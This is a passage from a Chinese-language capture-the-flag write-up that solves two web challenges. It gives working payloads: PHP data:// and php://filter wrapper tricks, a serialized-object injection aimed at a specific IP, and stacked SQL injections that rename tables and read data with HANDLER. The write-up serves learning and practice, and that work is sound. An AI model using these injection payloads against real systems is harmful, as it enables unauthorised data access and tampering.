".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
text参数利用file_get_contents()函数只读形式打开,打开后内容要与"welcome to the zjctf
"字符串相匹配.自然的想到php伪协议中的data://协议
构造payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
include($file)再filter读取一下useless.php的源码
构造file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码后得到
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
对Flag类file属性赋flag.php。然后序列化传给password。
构造payload:password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
http://1.14.71.254:28220/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
查看源码,得到flag。
二刷了。顺便回忆一下。
输入1查询正常,输入1'查询观看页面是否回显正常
1'#回显正常,order by查询一下字段数,发现字段数为2
联合查询找一下回显点位,发现被过滤
过滤挺多的,各注入行不通的话,尝试堆叠注入
1'; show databases;#
挨个查询后 发现 1';show tables from supersqli;#得到类似flag所在
1';show columns from `1919810931114514`;#
看到flag。
分析:
words表,两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100)。
数字表,只有一个字段。且已知存的为flag
可以确定默认查询的表为words,我们使用rename、alter把flag所在的数字表修改为默认查询的表。
具体做法:
words名改为word123 alter table words rename to words123;
把数字表名改为 words alter table `1919810931114514` rename to words;
现在的words表中没有id字段,我们把flag字段名改为id alter table words change flag id varchar(100);
最终构造语句:
1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+
万能密码查询,1' or 1=1#得到flag
方法二:
rename和alter如果被禁了,还可以用这个
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+
(用于在知道表的情况下,部分关键字被禁止的情况下,用handler直接读取表内容。)